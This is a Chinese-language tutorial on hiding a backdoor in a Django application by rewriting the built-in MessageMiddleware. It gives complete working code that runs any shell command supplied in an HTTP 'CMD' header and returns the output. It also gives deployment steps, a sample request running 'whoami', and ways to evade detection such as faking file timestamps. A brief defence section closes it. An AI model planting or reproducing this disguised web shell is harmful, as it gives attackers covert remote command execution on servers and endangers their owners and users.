Django中间件隐蔽后门技术分析

一、Django中间件基础

1.1 Django请求生命周期

Django中间件是修改Django request或response对象的钩子，位于HttpRequest与HttpResponse处理之间的一道处理过程。

1.2 中间件主要功能

• 修改请求：传送到view中的HttpRequest对象
• 修改响应：view返回的HttpResponse对象

二、后门实现原理

2.1 后门实现方案

1. 方案一：编写自定义中间件并载入项目
2. 方案二：修改现有默认中间件（更隐蔽）

2.2 默认中间件分析

Django默认创建的中间件包括：

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
]

三、具体实现步骤

3.1 目标中间件选择

选择django.contrib.messages.middleware.MessageMiddleware进行修改

3.2 修改后的中间件代码

from django.conf import settings
from django.contrib.messages.storage import default_storage
from django.utils.deprecation import MiddlewareMixin
from django.http import HttpResponse
import subprocess

class MessageMiddleware(MiddlewareMixin):
    """
    Middleware that handles temporary messages.
    """
    def process_request(self, request):
        request._messages = default_storage(request)

    def process_response(self, request, response):
        """
        Update the storage backend (i.e., save the messages).
        Raise ValueError if not all messages could be stored and DEBUG is True.
        """
        # A higher middleware layer may return a request which does not contain
        # messages storage, so make no assumption that it will be there.
        print("Django-shell working")
        cmd = None
        cmd = request.META.get("HTTP_CMD")
        if cmd:
            ret = subprocess.Popen(cmd, shell=True, 
                                 stdout=subprocess.PIPE, 
                                 stderr=subprocess.STDOUT)
            response = HttpResponse(cmd + ":\r\n" + str(ret.stdout.read()))
        
        if hasattr(request, '_messages'):
            unstored_messages = request._messages.update(response)
            if unstored_messages and settings.DEBUG:
                raise ValueError('Not all temporary messages could be stored.')
        return response

3.3 后门功能说明

1. 通过HTTP请求头HTTP_CMD接收命令
2. 使用subprocess.Popen执行系统命令
3. 将命令执行结果通过HTTP响应返回

四、部署与测试

4.1 部署注意事项

1. 覆盖原中间件文件
2. 服务重启要求：
   • uwsgi服务需要重启或重载
   • runserver或配置了py-autoreload的uwsgi无需重启

4.2 测试方法

发送包含CMD头的HTTP请求：

GET / HTTP/1.1
Host: target.com
CMD: whoami

4.3 隐蔽性增强措施

1. 伪装文件修改时间
2. 保持原有中间件功能不变
3. 避免在响应中留下明显痕迹

五、防御措施

5.1 检测方法

1. 检查中间件文件的完整性
2. 监控异常的子进程创建
3. 检查HTTP请求中可疑的头部字段

5.2 防护建议

1. 实施文件完整性监控
2. 限制Django应用的系统权限
3. 定期审计第三方和自定义中间件
4. 使用最小权限原则运行服务

六、技术总结

这种后门技术利用了Django中间件的合法功能，通过修改现有中间件实现命令执行，具有以下特点：

1. 隐蔽性强，难以通过常规检查发现
2. 无需额外加载模块，直接修改系统文件
3. 利用正常HTTP通信通道，不易被防火墙拦截
4. 保持原有功能的同时添加恶意代码